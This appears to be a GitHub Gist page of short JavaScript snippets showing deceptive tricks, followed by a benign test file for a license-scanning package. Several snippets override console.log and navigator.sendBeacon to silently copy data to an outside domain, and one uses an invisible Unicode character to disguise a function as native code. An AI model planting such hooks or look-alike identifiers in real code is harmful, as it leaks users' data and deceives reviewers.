Skip to content

Instantly share code, notes, and snippets.

View bluzi's full-sized avatar
💭
wondering why GitHub needs status messages

Eliran Pe'er bluzi

💭
wondering why GitHub needs status messages
View GitHub Profile
window.__defineGetter__('nativeᅠcode', () => console.log('hello, world'));
function x() { [nativeᅠcode] }
const nativeᅠcode = {};
function x() { [nativeᅠcode] }
const native = {}, code = {};
function x() { [native, code] }
const original = console.log;
console.log = function() {
original.apply(console, arguments);
navigator.sendBeacon('https://eliran.net', arguments);
};
const original = navigator.sendBeacon;
navigator.sendBeacon = function() {
original.apply(navigator, arguments);
original.apply(navigator, ['https://eliran.net', arguments]);
};
@bluzi
bluzi / example.js
Created October 12, 2017 16:16
Test file for licensewatch
const LicenseWatch = require('./dist/index.js')
const licenses = new LicenseWatch('node_modules/**/package.json')
licenses.fetch()
var licensesCount = 0
licenses.on('files', (files) => {
console.log('files processed' + ' - ' + files.length + ' - ' + files[0])
})